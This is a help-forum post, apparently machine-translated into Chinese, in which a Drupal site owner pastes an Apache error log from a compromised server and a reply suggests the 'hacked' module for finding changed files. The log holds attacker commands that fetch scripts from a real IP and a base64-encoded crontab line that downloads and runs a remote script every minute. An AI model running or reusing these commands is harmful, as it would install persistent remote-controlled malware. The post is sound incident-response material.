apache服务器error_log:
-2018-11-14 22:13:39-- http://164.132.159.56/drupal/zps.sh 正在连接至164.132.159.56:80 ... HTTP请求已发送,正在等待响应... 200 OK 长度:589 [text / x-sh] 保存到:“ STDOUT”
0K 100% 101M=0s
2018-11-14 22:13:40(101 MB / s)-写入标准输出[589/589]
rm:无法删除“ / var / tmp / yum-ec2-user-_j9uM3”:不允许操作 rm:拒绝删除“。”或“ ..”目录:跳过“ / var / tmp /”。 rm:拒绝删除“。”或“ ..”目录:跳过“ / var / tmp / ..” --2018-11-14 22:13:40-- http://164.132.159.56/drupal/2/olo 正在连接至164.132.159.56:80 ... HTTP请求已发送,正在等待响应... 200 OK 长度:33880(33K) 保存到:'/ var / tmp / lew'
0K .......... .......... .......... ... 100% 286K=0.1s
2018-11-14 22:13:40(286 KB / s)-保存了'/ var / tmp / lew'[33880/33880]
%总接收百分比%Xferd平均速度时间时间时间当前 Dload上传总花费左速度 ^ M 0 0 0 0 0 0 0 0-:-:---:-:--:-:-0 ^ M100 33880 100 33880 0 0 96119 0-:-: --:-:--:-:-96250 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录
e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 sh:第1行:22417完成echo'* * * * * echo -n“ d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA ==” | base64 -d | sh> / dev / null' 22418被杀死| crontab- e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录
请告诉解决方法。
答案 0 :(得分:0)
为您的网站使用被黑客入侵的模块(https://www.drupal.org/project/hacked)。 它会为您报告最近更改的所有文件。
您可以删除这些文件或解决其编码。